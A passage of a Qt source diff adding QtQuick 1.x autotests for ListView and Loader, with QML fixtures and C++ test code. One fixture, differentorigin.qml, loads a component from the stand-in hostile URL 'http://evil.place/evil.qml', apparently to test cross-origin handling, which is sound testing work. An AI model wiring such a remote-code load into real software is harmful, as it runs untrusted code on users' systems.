+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(listviewA, objectName)->x() != findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ listviewA->setProperty("layoutDirection", Qt::RightToLeft);
+
+ // RTL == LTR+mirror
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(listviewA, objectName)->x(), findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ listviewB->setProperty("layoutDirection", Qt::RightToLeft);
+
+ // RTL != RTL+mirror
+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(listviewA, objectName)->x() != findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ listviewA->setProperty("layoutDirection", Qt::LeftToRight);
+
+ // LTR == RTL+mirror
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(listviewA, objectName)->x(), findItem<QDeclarativeItem>(listviewB, objectName)->x());
+
+ delete canvasA;
+ delete canvasB;
+}
+
+void tst_QDeclarativeListView::orientationChange()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/orientchange.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(canvas->rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ listview->positionViewAtIndex(50, QDeclarativeListView::Beginning);
+
+ // Confirm items positioned correctly
+ for (int i = 50; i < 54; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item);
+ QCOMPARE(item->y(), i*80.0);
+ }
+
+ listview->setOrientation(QDeclarativeListView::Horizontal);
+ QCOMPARE(listview->contentY(), 0.);
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item);
+ QCOMPARE(item->x(), i*80.0);
+ }
+
+ listview->positionViewAtIndex(50, QDeclarativeListView::Beginning);
+ listview->setOrientation(QDeclarativeListView::Vertical);
+ QCOMPARE(listview->contentX(), 0.);
+ //
+ // Confirm items positioned correctly
+ for (int i = 0; i < 4; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QVERIFY(item);
+ QCOMPARE(item->y(), i*80.0);
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::contentPosJump()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 50; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ // Test jumping more than a page of items.
+ listview->setContentY(500);
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 25; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ listview->setContentY(-100);
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QVERIFY(itemCount < 20);
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::qListModelInterface_items()
+{
+ items<TestModel>();
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_items()
+{
+ items<TestModel2>();
+}
+
+void tst_QDeclarativeListView::qListModelInterface_changed()
+{
+ changed<TestModel>();
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_changed()
+{
+ changed<TestModel2>();
+}
+
+void tst_QDeclarativeListView::qListModelInterface_inserted()
+{
+ inserted<TestModel>();
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_inserted()
+{
+ inserted<TestModel2>();
+}
+
+void tst_QDeclarativeListView::qListModelInterface_removed()
+{
+ removed<TestModel>(false);
+ removed<TestModel>(true);
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_removed()
+{
+ removed<TestModel2>(false);
+ removed<TestModel2>(true);
+}
+
+void tst_QDeclarativeListView::qListModelInterface_moved()
+{
+ moved<TestModel>();
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_moved()
+{
+ moved<TestModel2>();
+}
+
+void tst_QDeclarativeListView::qListModelInterface_clear()
+{
+ clear<TestModel>();
+}
+
+void tst_QDeclarativeListView::qAbstractItemModel_clear()
+{
+ clear<TestModel2>();
+}
+
+QDeclarativeView *tst_QDeclarativeListView::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+/*
+ Find an item with the specified objectName. If index is supplied then the
+ item must also evaluate the {index} expression equal to index
+*/
+template<typename T>
+T *tst_QDeclarativeListView::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeExpression e(qmlContext(item), item, "index");
+ if (e.evaluate().toInt() == index)
+ return static_cast<T*>(item);
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+template<typename T>
+QList<T*> tst_QDeclarativeListView::findItems(QGraphicsObject *parent, const QString &objectName)
+{
+ QList<T*> items;
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item || !item->isVisible())
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName))
+ items.append(static_cast<T*>(item));
+ items += findItems<T>(item, objectName);
+ }
+
+ return items;
+}
+
+void tst_QDeclarativeListView::dumpTree(QDeclarativeItem *parent, int depth)
+{
+ static QString padding(" ");
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ qDebug() << padding.left(depth*2) << item;
+ dumpTree(item, depth+1);
+ }
+}
+
+
+QTEST_MAIN(tst_QDeclarativeListView)
+
+#include "tst_qdeclarativelistview.moc"
diff --git a/tests/auto/declarative/qdeclarativeloader/data/AnchoredLoader.qml b/tests/auto/declarative/qdeclarativeloader/data/AnchoredLoader.qml
new file mode 100644
index 00000000..7654c074
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/AnchoredLoader.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 300
+ height: 200
+ color: "blue"
+ Loader {
+ objectName: "loader"
+ anchors.fill: parent
+ sourceComponent: Component {
+ Rectangle { color: "red"; objectName: "sourceElement" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml
new file mode 100644
index 00000000..d2da64d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle {
+ objectName: "blue"
+ width: 100
+ height: 100
+ color: "blue"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/CreationContextLoader.qml b/tests/auto/declarative/qdeclarativeloader/data/CreationContextLoader.qml
new file mode 100644
index 00000000..bfc9a8dd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/CreationContextLoader.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+
+Loader {
+ id: myLoader
+ property int testProperty: 1912
+ sourceComponent: loaderComponent
+ Component {
+ id: loaderComponent
+ Item {
+ Component.onCompleted: {
+ test = (myLoader.testProperty == 1912);
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/GraphicsWidget250x250.qml b/tests/auto/declarative/qdeclarativeloader/data/GraphicsWidget250x250.qml
new file mode 100644
index 00000000..139657bf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/GraphicsWidget250x250.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QGraphicsWidget {
+ size: "250x250"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml
new file mode 100644
index 00000000..5aeb81e9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "green"
+ Component.onCompleted: myLoader.source = "BlueRect.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/NoResize.qml b/tests/auto/declarative/qdeclarativeloader/data/NoResize.qml
new file mode 100644
index 00000000..bb1030ef
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/NoResize.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 80
+ Loader {
+ source: "Rect120x60.qml"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/NoResizeGraphicsWidget.qml b/tests/auto/declarative/qdeclarativeloader/data/NoResizeGraphicsWidget.qml
new file mode 100644
index 00000000..5a31eff5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/NoResizeGraphicsWidget.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ width: 200
+ height: 80
+ Loader {
+ source: "GraphicsWidget250x250.qml"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
new file mode 100644
index 00000000..9949e346
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.1
+
+Rectangle {
+ color: "green"
+ width: loader.implicitWidth+50
+ height: loader.implicitHeight+50
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ anchors.centerIn: parent
+
+ implicitWidth: 200
+ implicitHeight: 200
+ Rectangle {
+ color: "red"
+ anchors.fill: parent
+ }
+ }
+ anchors.fill: parent
+ anchors.margins: 15
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
new file mode 100644
index 00000000..8a49733a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.1
+
+Rectangle {
+ property real loaderWidth: loader.width
+ property real loaderHeight: loader.height
+ width: 200
+ height: 200
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ property real iwidth: 32
+ property real iheight: 32
+ width: iwidth
+ height: iheight
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/Rect120x60.qml b/tests/auto/declarative/qdeclarativeloader/data/Rect120x60.qml
new file mode 100644
index 00000000..5a352844
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/Rect120x60.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 120
+ height:60
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/SetSourceComponent.qml b/tests/auto/declarative/qdeclarativeloader/data/SetSourceComponent.qml
new file mode 100644
index 00000000..fa2d3cb3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/SetSourceComponent.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ function clear() {
+ loader.sourceComponent = undefined
+ }
+ Component { id: comp; Rectangle { width: 100; height: 50 } }
+ Loader { id: loader; sourceComponent: comp }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml b/tests/auto/declarative/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml
new file mode 100644
index 00000000..a855947c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Loader {
+ width: 200
+ height: 80
+ source: "GraphicsWidget250x250.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml b/tests/auto/declarative/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml
new file mode 100644
index 00000000..b6fd57f5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Loader {
+ source: "GraphicsWidget250x250.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/SizeToItem.qml b/tests/auto/declarative/qdeclarativeloader/data/SizeToItem.qml
new file mode 100644
index 00000000..36ce9912
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/SizeToItem.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Loader {
+ source: "Rect120x60.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/SizeToLoader.qml b/tests/auto/declarative/qdeclarativeloader/data/SizeToLoader.qml
new file mode 100644
index 00000000..4fa945b3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/SizeToLoader.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Loader {
+ width: 200; height: 80
+ source: "Rect120x60.qml"
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml
new file mode 100644
index 00000000..a36c2462
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100; color: "red"
+ signal somethingHappened
+ onSomethingHappened: QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/crash.qml b/tests/auto/declarative/qdeclarativeloader/data/crash.qml
new file mode 100644
index 00000000..c7a4407a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/crash.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ function setLoaderSource() {
+ myLoader.source = "GreenRect.qml"
+ }
+
+ Loader {
+ id: myLoader
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/creationContext.qml b/tests/auto/declarative/qdeclarativeloader/data/creationContext.qml
new file mode 100644
index 00000000..52979786
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/creationContext.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Item {
+ property bool test: false
+
+ CreationContextLoader {
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml
new file mode 100644
index 00000000..043ce555
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Loader { source: "http://evil.place/evil.qml" }
diff --git a/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
new file mode 100644
index 00000000..53aad97a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.1
+
+Rectangle {
+ property real implWidth: 0
+ property real implHeight: 0
+ color: "green"
+ width: loader.implicitWidth+50
+ height: loader.implicitHeight+50
+
+ Loader {
+ id: loader
+ sourceComponent: Item {
+ anchors.centerIn: parent
+
+ implicitWidth: 100
+ implicitHeight: 100
+ Rectangle {
+ color: "red"
+ anchors.fill: parent
+ }
+ }
+
+ anchors.fill: parent
+ anchors.margins: 50
+ onImplicitWidthChanged: implWidth = implicitWidth
+ onImplicitHeightChanged: implHeight = loader.implicitHeight
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml
new file mode 100644
index 00000000..1d0ab5c1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Loader {
+ sourceComponent: QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/qmldir b/tests/auto/declarative/qdeclarativeloader/data/qmldir
new file mode 100644
index 00000000..bf42b507
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/qmldir
@@ -0,0 +1 @@
+# For tst_QDeclarativeLoader::networkRequestUrl; no types needed though.
diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml
new file mode 100644
index 00000000..dbea9693
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item { }
diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml
new file mode 100644
index 00000000..8ba13a04
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Loader { source: "sameorigin-load.qml" }
diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml
new file mode 100644
index 00000000..cfced31d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Loader {
+ source: "VmeError.qml"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeloader/qdeclarativeloader.pro b/tests/auto/declarative/qdeclarativeloader/qdeclarativeloader.pro
new file mode 100644
index 00000000..1ede5096
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/qdeclarativeloader.pro
@@ -0,0 +1,19 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+INCLUDEPATH += ../shared/
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativeloader.cpp \
+ ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
new file mode 100644
index 00000000..186926e3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
@@ -0,0 +1,637 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtGui/QGraphicsWidget>
+#include <QtGui/QGraphicsScene>
+
+#include <QSignalSpy>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativeloader_p.h>
+#include "testhttpserver.h"
+#include "../../../shared/util.h"
+
+#define SERVER_PORT 14450
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+class tst_QDeclarativeLoader : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeLoader();
+
+private slots:
+ void sourceOrComponent();
+ void sourceOrComponent_data();
+ void clear();
+ void urlToComponent();
+ void componentToUrl();
+ void anchoredLoader();
+ void sizeLoaderToItem();
+ void sizeItemToLoader();
+ void noResize();
+ void sizeLoaderToGraphicsWidget();
+ void sizeGraphicsWidgetToLoader();
+ void noResizeGraphicsWidget();
+ void networkRequestUrl();
+ void failNetworkRequest();
+// void networkComponent();
+
+ void deleteComponentCrash();
+ void nonItem();
+ void vmeErrors();
+ void creationContext();
+ void QTBUG_16928();
+ void implicitSize();
+ void QTBUG_17114();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+
+tst_QDeclarativeLoader::tst_QDeclarativeLoader()
+{
+}
+
+void tst_QDeclarativeLoader::sourceOrComponent()
+{
+ QFETCH(QString, sourceDefinition);
+ QFETCH(QUrl, sourceUrl);
+ QFETCH(QString, errorString);
+
+ bool error = !errorString.isEmpty();
+ if (error)
+ QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
+
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray(
+ "import QtQuick 1.0\n"
+ "Loader {\n"
+ " property int onItemChangedCount: 0\n"
+ " property int onSourceChangedCount: 0\n"
+ " property int onStatusChangedCount: 0\n"
+ " property int onProgressChangedCount: 0\n"
+ " property int onLoadedCount: 0\n")
+ + sourceDefinition.toUtf8()
+ + QByteArray(
+ " onItemChanged: onItemChangedCount += 1\n"
+ " onSourceChanged: onSourceChangedCount += 1\n"
+ " onStatusChanged: onStatusChangedCount += 1\n"
+ " onProgressChanged: onProgressChangedCount += 1\n"
+ " onLoaded: onLoadedCount += 1\n"
+ "}")
+ , TEST_FILE(""));
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+ QCOMPARE(loader->item() == 0, error);
+ QCOMPARE(loader->source(), sourceUrl);
+ QCOMPARE(loader->progress(), 1.0);
+
+ QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), error ? 0: 1);
+
+ if (!error) {
+ QDeclarativeComponent *c = qobject_cast<QDeclarativeComponent*>(loader->QGraphicsObject::children().at(0));
+ QVERIFY(c);
+ QCOMPARE(loader->sourceComponent(), c);
+ }
+
+ QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
+ QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
+ QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
+
+ QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
+ QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::sourceOrComponent_data()
+{
+ QTest::addColumn<QString>("sourceDefinition");
+ QTest::addColumn<QUrl>("sourceUrl");
+ QTest::addColumn<QString>("errorString");
+
+ QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
+ QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
+
+ QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
+ << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
+}
+
+void tst_QDeclarativeLoader::clear()
+{
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray(
+ "import QtQuick 1.0\n"
+ " Loader { id: loader\n"
+ " source: 'Rect120x60.qml'\n"
+ " Timer { interval: 200; running: true; onTriggered: loader.source = '' }\n"
+ " }")
+ , TEST_FILE(""));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ QTRY_VERIFY(loader->item() == 0);
+ QCOMPARE(loader->progress(), 0.0);
+ QCOMPARE(loader->status(), QDeclarativeLoader::Null);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 0);
+
+ delete loader;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(1));
+ QVERIFY(loader);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ loader->setSourceComponent(0);
+
+ QVERIFY(loader->item() == 0);
+ QCOMPARE(loader->progress(), 0.0);
+ QCOMPARE(loader->status(), QDeclarativeLoader::Null);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 0);
+
+ delete item;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(1));
+ QVERIFY(loader);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ QMetaObject::invokeMethod(item, "clear");
+
+ QVERIFY(loader->item() == 0);
+ QCOMPARE(loader->progress(), 0.0);
+ QCOMPARE(loader->status(), QDeclarativeLoader::Null);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 0);
+
+ delete item;
+ }
+}
+
+void tst_QDeclarativeLoader::urlToComponent()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\n"
+ "Loader {\n"
+ " id: loader\n"
+ " Component { id: myComp; Rectangle { width: 10; height: 10 } }\n"
+ " source: \"Rect120x60.qml\"\n"
+ " Timer { interval: 100; running: true; onTriggered: loader.sourceComponent = myComp }\n"
+ "}" )
+ , TEST_FILE(""));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QTest::qWait(200);
+ QTRY_VERIFY(loader != 0);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+ QCOMPARE(loader->width(), 10.0);
+ QCOMPARE(loader->height(), 10.0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::componentToUrl()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(1));
+ QVERIFY(loader);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
